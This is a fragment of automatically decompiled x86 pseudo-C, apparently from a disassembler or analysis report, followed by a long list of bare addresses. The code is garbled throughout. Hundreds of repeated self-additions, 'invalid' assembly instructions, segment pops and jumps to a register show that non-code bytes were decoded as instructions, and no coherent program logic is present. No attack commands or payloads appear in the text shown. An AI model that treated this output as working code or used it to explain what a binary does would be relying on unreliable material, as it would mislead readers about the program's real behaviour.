					 *_t120 =  *_t120 + _t120;
					 *_t120 =  *_t120 + _t120;
					 *_t120 =  *_t120 + _t120;
					 *_t197 =  *_t197 + _t120;
					 *_t120 =  *_t120 + _t120;
					 *_t120 =  *_t120 + _t195;
					asm("sbb [eax], eax");
					_pop(es);
					 *_t120 =  *_t120 + _t120;
					_t181 = _t120 + _t194;
					asm("sbb [eax], al");
					_pop(es);
					 *_t181 =  *_t181 + _t181;
					 *((intOrPtr*)(_t181 + 0x7004018)) =  *((intOrPtr*)(_t181 + 0x7004018)) + _t181;
					 *_t181 =  *_t181 + _t181;
					 *((intOrPtr*)(_t181 + _t187)) =  *((intOrPtr*)(_t181 + _t187)) + _t195;
					_t182 = _t181 + 1;
					 *_t197 =  *_t197 + _t182;
					 *_t182 =  *_t182 + _t182;
					_pop(ss);
					_t184 = _t182 + _t195 + 1;
					 *_t197 =  *_t197 + _t184;
					 *_t184 =  *_t184 + _t184;
					 *((intOrPtr*)(_t197 + _t195 + 0x70040)) =  *((intOrPtr*)(_t197 + _t195 + 0x70040)) + _t194;
					 *_t184 =  *_t184 + _t184;
					_pop(ss);
					_t185 = _t184 + 1;
					 *_t194 =  *_t194 + _t185;
					 *_t185 =  *_t185 + _t185;
					 *((intOrPtr*)(_t200 + _t195 + 0x40)) =  *((intOrPtr*)(_t200 + _t195 + 0x40)) + _t187;
					 *_t185 =  *_t185 + _t185;
					 *_t185 =  *_t185 + _t185;
					_t187 = _t187 + _t187;
					asm("invalid");
					asm("invalid");
					asm("invalid");
					 *_t185 =  *_t185 + 1;
					 *_t185 =  *_t185 + _t185;
					 *((intOrPtr*)(_t185 + 0x8004016)) =  *((intOrPtr*)(_t185 + 0x8004016)) + _t195;
					_t120 = _t185 + 2;
					 *_t120 =  *_t120 + _t120;
					 *_t120 =  *_t120 + _t120;
					 *((intOrPtr*)(_t120 + 0x6d57d)) =  *((intOrPtr*)(_t120 + 0x6d57d)) + _t187;
					 *_t120 =  *_t120 + _t120;
					 *_t120 =  *_t120 + _t120;
					 *_t120 =  *_t120 + _t120;
				}
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				 *_t120 =  *_t120 + _t120;
				_t121 = _t120 + 1;
				 *_t194 =  *_t194 + _t121;
				 *_t194 =  *_t194 + _t121;
				 *((intOrPtr*)(_t200 + _t195 + 0x40)) =  *((intOrPtr*)(_t200 + _t195 + 0x40)) + _t187;
				 *_t121 =  *_t121 + _t121;
				 *_t121 =  *_t121 + _t121;
				_t188 = _t187 + _t187;
				asm("invalid");
				asm("invalid");
				asm("invalid");
				 *_t121 =  *_t121 + 1;
				 *_t121 =  *_t121 + _t121;
				_t123 = _t121 + _t121 + 1;
				 *_t123 =  *_t123 + _t188;
				_t125 = _t123 + 2;
				 *_t197 =  *_t197 + _t125;
				 *_t125 =  *_t125 + _t125;
				 *((intOrPtr*)(_t125 + 0x13)) =  *((intOrPtr*)(_t125 + 0x13)) + _t195;
				_t126 = _t125 + 1;
				 *_t126 =  *_t126 + _t126;
				 *_t126 =  *_t126 + _t126;
				 *_t126 =  *_t126 + _t126;
				 *_t126 =  *_t126 + _t126;
				 *_t126 =  *_t126 + _t126;
				 *_t126 =  *_t126 + _t126;
				 *((intOrPtr*)(_t126 + 0x13)) =  *((intOrPtr*)(_t126 + 0x13)) + _t195;
				_t127 = _t126 + 1;
				 *_t127 =  *_t127 + _t127;
				 *_t127 =  *_t127 + _t127;
				 *_t188 =  *_t188 + _t127;
				 *_t205 =  *_t205 + _t195;
				if ( *_t205 >= 0) goto L4;
				 *[gs:edx] =  *[gs:edx] + _t195;
				if ( *[gs:edx] >= 0) goto L5;
				_t210 = ss;
				 *_t194 =  *_t194 + _t127;
				 *[fs:ebp] =  *[fs:ebp] + _t194;
				_push(_t200);
				_t196 = _t195 + 1;
				_t128 = _t127 ^ 0x2a1ff021;
				 *_t128 =  *_t128 + _t128;
				 *_t128 =  *_t128 + _t128;
				 *_t128 =  *_t128 + _t128;
				 *_t128 =  *_t128 + _t128;
				 *_t128 =  *_t128 + _t128;
				 *_t128 =  *_t128 + _t128;
				 *_t200 =  *_t200 + _t188;
				 *_t128 =  *_t128 + _t128;
				 *_t128 =  *_t128 + _t128;
				 *_t128 =  *_t128 + _t128;
				 *_t128 =  *_t128 + _t128;
				 *_t128 =  *_t128 + _t128;
				 *_t128 =  *_t128 + _t128;
				_t129 = _t128 |  *_t128;
				 *(_t129 + _t129) =  *(_t129 + _t129) | _t129;
				 *_t129 =  *_t129 + _t129;
				 *_t129 =  *_t129 + _t129;
				 *((intOrPtr*)(_t129 + 0x1c)) =  *((intOrPtr*)(_t129 + 0x1c)) + _t129;
				_t130 = _t129 + 1;
				 *_t130 =  *_t130 + _t130;
				asm("adc al, 0x40");
				 *_t130 =  *_t130 + _t130;
				asm("lock xor [eax], al");
				_t189 = _t188 + _t188;
				asm("invalid");
				 *_t130 =  *_t130 | _t130;
				 *_t130 =  *_t130 + _t130;
				 *_t130 =  *_t130 + _t130;
				 *_t130 =  *_t130 + _t130;
				 *_t130 =  *_t130 + _t130;
				 *_t130 =  *_t130 + _t130;
				goto 0xc84013d9;
				asm("adc al, [eax]");
				asm("enter 0x4012, 0x0");
				_t131 = _t130 + 1;
				 *_t131 =  *_t131 + _t189;
				 *_t131 =  *_t131 + _t131;
				if ( *_t131 > 0) goto L6;
				 *_t131 =  *_t131 + _t131;
				 *_t131 = _t131;
				 *_t131 =  *_t131 + _t131;
				_t132 =  *_t131;
				 *_t132 =  *_t132 + _t132;
				 *_t132 =  *_t132 + _t132;
				 *_t132 =  *_t132 + _t132;
				 *_t132 =  *_t132 + _t132;
				 *_t132 =  *_t132 + _t132;
				 *_t132 =  *_t132 + _t132;
				 *_t132 =  *_t132 + _t132;
				 *_t132 =  *_t132 + _t132;
				 *_t132 =  *_t132 + _t132;
				_push(_t132);
				if( *_t132 < 0) {
					L15:
					if (_t230 < 0) goto L16;
					_pop(_t211);
					 *_t194 =  *_t194 + _t132;
					 *_t132 =  *_t132 & _t132;
					_t210 = _t211 - 1;
					 *_t197 =  *_t197 + _t194;
					_t231 =  *_t197;
					if (_t231 == 0) goto L17;
					if (_t231 == 0) goto L18;
					asm("popad");
					L19:
					 *_t132 =  *_t132 + _t132;
					 *_t200 =  *_t200 + _t194;
					asm("outsd");
					 *_t196 = _t196 +  *_t196;
					 *_t132 = _t196 +  *_t132;
					 *_t197 =  *_t197 + _t196;
					L20:
					asm("aaa");
					 *0x36003800 =  *0x36003800 + _t196;
					 *_t197 =  *_t197 + _t196;
					 *_t196 = _t196 +  *_t196;
					 *_t132 = _t196 +  *_t132;
					 *((intOrPtr*)(_t132 + _t132 + 0x41)) =  *((intOrPtr*)(_t132 + _t132 + 0x41)) + _t189;
					 *_t132 =  *_t132 + _t132;
					 *((intOrPtr*)(_t132 + _t132 + 0x6f)) =  *((intOrPtr*)(_t132 + _t132 + 0x6f)) + _t194;
					 *((intOrPtr*)(_t132 + _t132 + 0x74)) =  *((intOrPtr*)(_t132 + _t132 + 0x74)) + _t196;
					 *_t194 =  *_t194 + _t132;
					 *_t132 =  *_t132 & _t132;
					_t201 = _t200 - 1;
					 *_t197 =  *_t197 + _t194;
					_t133 = _t132 ^  *_t132;
					 *_t133 =  *_t133 ^ _t133;
					asm("aaa");
					 *0x36003800 =  *0x36003800 + _t196;
					 *_t197 =  *_t197 + _t196;
					 *_t196 = _t196 +  *_t196;
					 *_t133 = _t196 +  *_t133;
					 *_t133 = _t196 +  *_t133;
					 *_t194 = _t196 +  *_t194;
					 *_t133 =  *_t133 + _t133;
					 *_t133 = _t196 +  *_t133;
					 *_t133 =  *_t133 & _t133;
					_t137 = _t133 + 0x122;
					 *_t196 = _t196 +  *_t196;
					 *((intOrPtr*)(_t137 + _t137 + 0x65)) =  *((intOrPtr*)(_t137 + _t137 + 0x65)) + _t196;
					 *_t137 =  *_t137 + _t189;
					_t234 =  *_t137;
					if (_t234 == 0) goto L21;
					if (_t234 != 0) goto L22;
					if (_t234 < 0) goto L23;
					 *[gs:esi] =  *[gs:esi] + _t194;
					 *_t201 =  *_t201 + _t196;
					asm("bound eax, [eax]");
					if ( *_t201 < 0) goto L24;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					asm("enter 0x4012, 0x0");
					es = _t196;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t137;
					 *_t137 =  *_t137 + _t189;
					_t139 = _t137 + 2;
					 *_t139 =  *_t139 + _t139;
					asm("sbb al, 0x40");
					asm("invalid");
					 *_t139 =  *_t139 + 1;
					 *_t139 =  *_t139 + _t139;
					 *_t139 =  *_t139 + _t194;
					 *((intOrPtr*)(_t201 - 0x4cdab710)) =  *((intOrPtr*)(_t201 - 0x4cdab710)) + _t194;
					asm("insd");
					_t198 = _t197 + 1;
					_t191 = _t139 + 2;
					asm("movsb");
					_t143 = _t189 + _t189 ^ _t191;
					 *((char*)(_t194 + _t191 + 0x2000a25)) =  *((char*)(_t194 + _t191 + 0x2000a25)) - 1;
					 *_t196 =  *_t196 + _t143;
					 *_t196 =  *_t196 + _t143;
					 *((intOrPtr*)(_t143 + 0x4016)) =  *((intOrPtr*)(_t143 + 0x4016)) + _t196;
					 *_t143 =  *_t143 + _t143;
					 *_t143 =  *_t143 + _t143;
					 *_t143 =  *_t143 + _t143;
					 *_t143 =  *_t143 + _t143;
					 *_t143 =  *_t143 + _t143;
					 *_t143 =  *_t143 + _t143;
					ss = _t194;
					 *_t194 =  *_t194 + _t194;
					 *_t194 =  *_t194 + _t191;
					_t146 = _t143 + 1;
					 *_t146 =  *_t146 + _t146;
					 *_t146 =  *_t146 + _t146;
					 *_t196 =  *_t196 + _t146;
					 *_t146 =  *_t146 + _t146;
					 *_t146 =  *_t146 + _t146;
					asm("adc eax, [eax]");
					asm("invalid");
					asm("invalid");
					_t148 = _t146 - 0x17 + 1;
					 *_t148 =  *_t148 + _t148;
					 *_t148 =  *_t148 + _t148;
					 *_t148 =  *_t148 + _t196;
					_t150 = _t148 + 2;
					 *_t150 =  *_t150 + _t150;
					 *_t150 =  *_t150 + _t150;
					 *_t150 =  *_t150 + _t196;
					_pop(ss);
					_t151 = _t150 + 1;
					 *_t194 =  *_t194 + _t151;
					 *_t151 =  *_t151 + _t151;
					 *_t151 =  *_t151 + _t151;
					 *_t151 =  *_t151 + _t151;
					 *_t151 =  *_t151 + 1;
					 *_t194 =  *_t194 + _t151;
					 *_t194 =  *_t194;
					 *_t151 =  *_t151 + _t151;
					 *_t151 =  *_t151 + _t151;
					_t152 = _t151 + 1;
					_t193 = _t191 + _t191 + _t191 + _t191;
					asm("invalid");
					 *((intOrPtr*)(_t193 + 0x40 + _t194)) =  *((intOrPtr*)(_t193 + 0x40 + _t194)) + 1;
					 *_t152 =  *_t152 + _t152;
					 *_t152 =  *_t152 + _t152;
					 *_t152 =  *_t152 + _t152;
					_t154 = _t152 + 2;
					 *_t154 =  *_t154 + _t154;
					 *_t154 =  *_t154 + _t154;
					 *_t154 =  *_t154 + _t193;
					_pop(ss);
					_t155 = _t154 + 1;
					 *((intOrPtr*)(_t155 + _t155)) =  *((intOrPtr*)(_t155 + _t155)) + _t193;
					 *_t155 =  *_t155 + _t155;
					 *_t155 =  *_t155 + _t155;
					 *_t155 =  *_t155 + _t155;
					asm("invalid");
					 *_t155 =  *_t155 + _t155;
					 *((intOrPtr*)(_t155 + 1)) =  *((intOrPtr*)(_t155 + 1)) + _t155;
					 *_t155 =  *_t155 + _t155;
					_t206 = _t205 - 1;
					asm("outsd");
					if(_t206 != 0) {
						L35:
						_t156 = _t155;
						if(_t156 == 0) {
							_push(0x401764);
							L38:
							_pop(ss);
							_t157 = _t156 + 1;
							 *((intOrPtr*)(_t157 + 0x4011d0)) =  *((intOrPtr*)(_t157 + 0x4011d0)) + _t193;
							_t158 =  *_t157();
							goto __eax;
						}
						goto __eax;
					}
					_t156 = _t155 ^  *[gs:eax];
					_t206 = _t206 - 1;
					asm("outsd");
					if(_t206 != 0) {
						goto L38;
					}
					 *[gs:eax] =  *[gs:eax] ^ _t156;
					_t239 =  *[gs:eax];
					_push(_t196);
					_push(_t196);
					_push(_t210);
					if(_t239 < 0 || _t239 != 0) {
						 *_t158 =  *_t158 + _t158;
						_t246 =  *_t158;
						_push(_t196);
						asm("a16 push ebx");
						if (_t246 == 0) goto L53;
						goto L40;
					} else {
						 *[gs:eax] =  *[gs:eax] + _t156;
						 *((intOrPtr*)(_t156 + _t156)) =  *((intOrPtr*)(_t156 + _t156)) + _t194;
						 *_t156 =  *_t156 | _t156;
						 *_t156 =  *_t156 + _t156;
						 *_t156 =  *_t156 + _t156;
						 *_t156 =  *_t156 + _t156;
						 *_t156 =  *_t156 + _t156;
						_t158 = _t156 | 0x61000000;
						_t240 = _t158;
						if(_t240 <= 0) {
							L40:
							if(_t246 == 0) {
								L53:
								 *((intOrPtr*)(_t158 + _t158)) =  *((intOrPtr*)(_t158 + _t158)) + _t158;
								_t193 = _t193 + 1;
								_t160 = _t158 - 1 + 1;
								 *_t160 =  *_t160 + _t160;
								 *_t160 =  *_t160 + _t160;
								 *_t160 =  *_t160 + _t160;
								 *_t160 =  *_t160 + _t160;
								 *((intOrPtr*)(0x404350 + _t194)) =  *((intOrPtr*)(0x404350 + _t194)) + _t160;
								_t158 =  *0x404350; // 0x0
								L55:
								 *_t193 =  *_t193 + _t194;
								 *(_t196 + _t158 - 1) =  *(_t196 + _t158 - 1) << 0xe0;
							}
							asm("popad");
							asm("insb");
							if(_t246 != 0) {
								goto L55;
							}
							if(_t206 + 1 < 0) {
								_t193 = _t193 - 1;
								if (_t193 >= 0) goto L52;
								_pop(ss);
								_t158 = _t158 + 1 + _t158 + 1 + 1;
								 *_t158 =  *_t158 + _t158;
								goto L53;
							}
							 *_t158 =  *_t158 + _t158;
							L44:
							 *((intOrPtr*)(_t198 + _t196)) =  *((intOrPtr*)(_t198 + _t196)) + _t193;
							 *((intOrPtr*)(_t198 +  &(_t196[0x10]))) =  *((intOrPtr*)(_t198 +  &(_t196[0x10]))) + _t193;
							_t167 = _t158 + 2;
							L45:
							 *_t167 =  *_t167 + _t167;
							 *_t167 =  *_t167 + _t167;
							 *_t167 =  *_t167 + _t167;
							 *_t167 =  *_t167 + _t167;
							L46:
							 *_t167 =  *_t167 + _t167;
							_t168 =  *0x404344; // 0x0
							_t169 = _t168;
							if(_t169 == 0) {
								_push(0x4017ac);
								L50:
								_pop(ss);
								_t170 = _t169 + 1;
								 *((intOrPtr*)(_t170 + 0x4011d0)) =  *((intOrPtr*)(_t170 + 0x4011d0)) + _t193;
								_t158 =  *_t170();
								goto __eax;
							}
							goto __eax;
						}
						if(_t240 < 0) {
							goto L44;
						}
						_t202 = _t201 ^  *_t196;
						asm("fs insb");
						asm("insb");
						 *_t158 =  *_t158 + _t158;
						 *_t158 =  *_t158 + _t158;
						asm("adc [eax], eax");
						 *_t158 =  *_t158 + _t158;
						_t241 =  *_t158;
						_push(_t196);
						asm("a16 push ecx");
						if(_t241 != 0) {
							goto L45;
						}
						if(_t241 < 0) {
							goto L50;
						}
						_push(_t202);
						asm("popad");
						asm("insb");
						if(_t241 != 0) {
							goto L46;
						}
						_t206 = _t206 + 1;
						if(_t206 < 0) {
							goto L40;
						}
						 *_t158 =  *_t158 + _t158;
						 *_t158 =  *_t158 + _t158;
						_t171 = _t158 + 1;
						 *((intOrPtr*)(_t171 + 0x17)) =  *((intOrPtr*)(_t171 + 0x17)) + _t196;
						_t155 = _t171 + 1;
						 *_t155 =  *_t155 + _t155;
						 *((intOrPtr*)(_t155 + _t155)) =  *((intOrPtr*)(_t155 + _t155)) + _t155;
						 *(_t193 + 0x40) =  *(_t193 + 0x40) ^ _t155;
						 *_t155 =  *_t155 + _t155;
						 *_t155 =  *_t155 + _t155;
						 *_t155 =  *_t155 + _t155;
						 *_t155 =  *_t155 + _t155;
						 *((intOrPtr*)(_t194 + 0x404338)) =  *((intOrPtr*)(_t194 + 0x404338)) + _t155;
						goto L35;
					}
				}
				_t205 =  *_t200 * 0x65545252;
				_t224 = _t205;
				if(_t224 < 0 || _t224 != 0) {
					goto L19;
				} else {
					 *[gs:eax] =  *[gs:eax] + _t132;
					_t225 =  *[gs:eax];
					_push(_t196);
					_push(_t196);
					_push(_t210);
					if(_t225 < 0 || _t225 != 0) {
						goto L20;
					} else {
						_t172 = _t196 + _t132;
						 *_t172 =  *_t172 + _t172;
						 *((intOrPtr*)(_t200 +  &(_t196[0x10]))) =  *((intOrPtr*)(_t200 +  &(_t196[0x10]))) + _t189;
						 *_t172 =  *_t172 + _t172;
						 *_t172 =  *_t172 + _t172;
						 *((intOrPtr*)(_t172 + 0x1c)) =  *((intOrPtr*)(_t172 + 0x1c)) + _t196;
						_t173 = _t172 + 1;
						 *((intOrPtr*)(_t173 + 0x2e)) =  *((intOrPtr*)(_t173 + 0x2e)) + _t196;
						_t174 = _t173 + 1;
						 *((intOrPtr*)(_t189 + _t174)) =  *((intOrPtr*)(_t189 + _t174)) + _t189;
						 *_t174 =  *_t174 + _t194;
						_t176 = _t174 + 2;
						_t200[4] = _t200[4] + _t176;
						_t177 = _t176 + 1;
						 *_t177 =  *_t177 + _t177;
						_t179 = _t177 + 2;
						 *_t196 =  *_t196 + _t194;
						 *((intOrPtr*)(_t179 +  &(_t179[0x10]))) =  *((intOrPtr*)(_t179 +  &(_t179[0x10]))) + _t189;
						 *_t189 =  *_t189 + _t179;
						 *_t205 =  *_t205 + _t196;
						if ( *_t205 >= 0) goto L12;
						 *[gs:edx] =  *[gs:edx] + _t196;
						if ( *[gs:edx] >= 0) goto L13;
						 *_t194 = _t179 +  *_t194;
						 *[fs:ebp] =  *[fs:ebp] + _t194;
						_t180 =  *_t179 * 0x5c006e;
						 *_t205 =  *_t205 + _t180;
						if ( *_t205 >= 0) goto L14;
						_t132 =  *_t180 * 0x74;
						 *_t197 =  *_t197 + _t194;
						_t230 =  *_t197;
						goto L15;
					}
				}
			}

0x0040127d
0x00401282
0x00401284
0x00401286
0x00401288
0x0040128a
0x0040128c
0x0040128d
0x0040128f
0x00401291
0x00401293
0x00401297
0x00401298
0x0040129a
0x0040129b
0x0040129c
0x0040129e
0x004012a1
0x004012a4
0x004012a6
0x004012a8
0x004012aa
0x004012ac
0x004012ae
0x004012b0
0x004012b2
0x004012b2
0x004012b4
0x004012b5
0x004012b7
0x004012bc
0x004012bf
0x004012c1
0x004012c3
0x004012c5
0x004012c7
0x004012c9
0x004012cb
0x004012cd
0x004012d0
0x004012d1
0x004012d3
0x004012d5
0x004012d8
0x004012d9
0x004012db
0x004012e1
0x004012e3
0x004012e6
0x004012e7
0x004012e9
0x004012ed
0x004012ee
0x004012ef
0x004012f1
0x004012f3
0x004012fa
0x004012fc
0x004012fe
0x004012ff
0x00401301
0x00401303
0x00401307
0x00401309
0x0040130b
0x0040130d
0x0040130f
0x00401311
0x00401313
0x00401315
0x00401317
0x0040131e
0x0040131f
0x00401321
0x00401323
0x00401329
0x0040132b
0x0040132d
0x0040132d
0x0040132e
0x00401330
0x00401332
0x00401336
0x00401337
0x00401339
0x0040133b
0x0040133f
0x00401341
0x00401343
0x00401345
0x00401347
0x00401349
0x0040134b
0x0040134d
0x00401352
0x00401353
0x00401356
0x00401357
0x00401359
0x0040135b
0x0040135e
0x0040135f
0x00401361
0x00401363
0x00401365
0x00401367
0x00401369
0x0040136b
0x0040136e
0x0040136f
0x00401371
0x00401373
0x00401379
0x0040137c
0x0040137e
0x00401382
0x00401384
0x00401385
0x00401388
0x0040138c
0x0040138d
0x0040138e
0x00401393
0x00401395
0x00401397
0x00401399
0x0040139b
0x0040139d
0x0040139f
0x004013a2
0x004013a4
0x004013a6
0x004013a8
0x004013aa
0x004013ac
0x004013ae
0x004013b0
0x004013b3
0x004013b5
0x004013b7
0x004013ba
0x004013bb
0x004013bd
0x004013bf
0x004013c1
0x004013c4
0x004013c6
0x004013c8
0x004013ca
0x004013cc
0x004013ce
0x004013d0
0x004013d2
0x004013d4
0x004013d9
0x004013dc
0x004013e2
0x004013e3
0x004013e6
0x004013e8
0x004013ea
0x004013ec
0x004013ee
0x004013f0
0x004013f2
0x004013f4
0x004013f6
0x004013f8
0x004013fa
0x004013fc
0x004013fe
0x00401400
0x00401402
0x00401404
0x00401405
0x00401474
0x00401474
0x00401476
0x00401477
0x0040147a
0x0040147c
0x0040147d
0x0040147d
0x00401480
0x00401482
0x00401484
0x00401485
0x00401485
0x00401487
0x0040148a
0x0040148b
0x0040148d
0x0040148f
0x00401490
0x00401490
0x00401491
0x00401497
0x00401499
0x0040149b
0x0040149d
0x004014a1
0x004014a3
0x004014a7
0x004014ab
0x004014ae
0x004014b0
0x004014b1
0x004014b4
0x004014b6
0x004014b8
0x004014b9
0x004014bf
0x004014c1
0x004014c3
0x004014c5
0x004014c7
0x004014c9
0x004014cb
0x004014ce
0x004014d9
0x004014db
0x004014df
0x004014e3
0x004014e3
0x004014e6
0x004014e8
0x004014ea
0x004014ec
0x004014ef
0x004014f2
0x004014f4
0x004014f6
0x004014f8
0x004014fa
0x004014fc
0x004014fe
0x00401500
0x00401502
0x00401504
0x00401506
0x00401508
0x0040150a
0x0040150c
0x0040150e
0x00401510
0x00401512
0x00401514
0x00401516
0x00401518
0x0040151a
0x0040151c
0x0040151e
0x00401520
0x00401522
0x00401524
0x00401526
0x00401528
0x0040152a
0x0040152c
0x0040152e
0x00401530
0x00401532
0x00401534
0x00401536
0x00401538
0x0040153a
0x0040153c
0x0040153e
0x00401540
0x00401542
0x00401544
0x00401546
0x00401548
0x0040154a
0x0040154c
0x0040154e
0x00401550
0x00401552
0x00401554
0x00401556
0x00401558
0x0040155a
0x0040155c
0x0040155e
0x00401560
0x00401562
0x00401564
0x00401566
0x00401568
0x0040156a
0x0040156c
0x0040156e
0x00401570
0x00401572
0x00401574
0x00401576
0x00401578
0x0040157a
0x0040157c
0x0040157e
0x00401580
0x00401582
0x00401584
0x00401586
0x00401588
0x0040158a
0x0040158c
0x0040158e
0x00401590
0x00401592
0x00401594
0x00401596
0x00401598
0x0040159a
0x0040159c
0x0040159e
0x004015a0
0x004015a2
0x004015a4
0x004015a6
0x004015a8
0x004015aa
0x004015ac
0x004015ae
0x004015b0
0x004015b2
0x004015b4
0x004015b6
0x004015b8
0x004015ba
0x004015bc
0x004015be
0x004015c0
0x004015c2
0x004015c4
0x004015c6
0x004015c8
0x004015ca
0x004015cc
0x004015ce
0x004015d0
0x004015d2
0x004015d4
0x004015d6
0x004015d8
0x004015da
0x004015dc
0x004015de
0x004015e0
0x004015e2
0x004015e4
0x004015e6
0x004015e8
0x004015ea
0x004015ec
0x004015ee
0x004015f0
0x004015f2
0x004015f4
0x004015f6
0x004015f8
0x004015fa
0x004015fc
